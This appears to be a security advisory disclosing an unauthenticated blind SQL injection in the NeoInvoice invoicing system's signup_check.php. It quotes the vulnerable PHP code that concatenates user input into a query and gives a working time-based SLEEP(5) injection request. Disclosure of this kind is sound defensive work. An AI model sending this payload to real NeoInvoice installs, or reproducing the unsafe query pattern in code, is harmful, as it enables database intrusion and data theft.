NeoInvoice is a multi-tenant open source invoicing system, that currently contains an unauthenticated blind SQL injection condition in signup_check.php
. The input for the value
field isn’t being properly sanitized, and is used in string concatenation to create the SQL query:
<?php require_once("config.php"); if (isset($_GET['field']) && ($_GET['field'] == 'username' || $_GET['field'] == 'email')) { $field = $_GET['field']; $table = 'user'; $taken = '0'; $not_taken = '1'; } else if (isset($_GET['field']) && $_GET['field'] == 'coupon') { $field = 'name'; $table = 'coupon'; $taken = '1'; $not_taken = '0'; } else { die("<div class=\"error\">Invalid Field</div>"); } if (!isset($_GET['value'])) { die("<div class=\"error\">Invalid Value</div>"); } $value = preg_replace("[^a-zA-Z0-9_.\-\*\/\+\, @]", "", $_GET['value']); if ($value != $_GET['value']) { die("<div class=\"error\">Invalid Value</div>"); } $connect = mysql_connect(MYSQL_HOSTNAME, MYSQL_USERNAME, MYSQL_PASSWORD); if (!$connect) { die("<div class=\"error\">" . mysql_error() . "</div>"); } $query = "SELECT $field FROM $table WHERE $field = '$value' LIMIT 1"; mysql_select_db(MYSQL_DATABASE, $connect); $result = mysql_query($query, $connect); if (mysql_num_rows($result)) { echo $taken; } else { echo $not_taken; }
Line #29 there is the key, by concatenating untrusted data into the SQL query, it has made SQL injection trivial. This vulnerability can be demonstrated with the following request:
signup_check.php?field=username&value='+OR+SLEEP(5)+OR+'
This results in the following query being executed:
SELECT username FROM user WHERE username = '' OR SLEEP(5) OR '' LIMIT 1
The author has been notified, but has yet to respond. Based on the one open ticket for the project, there’s likely other possible attack vectors.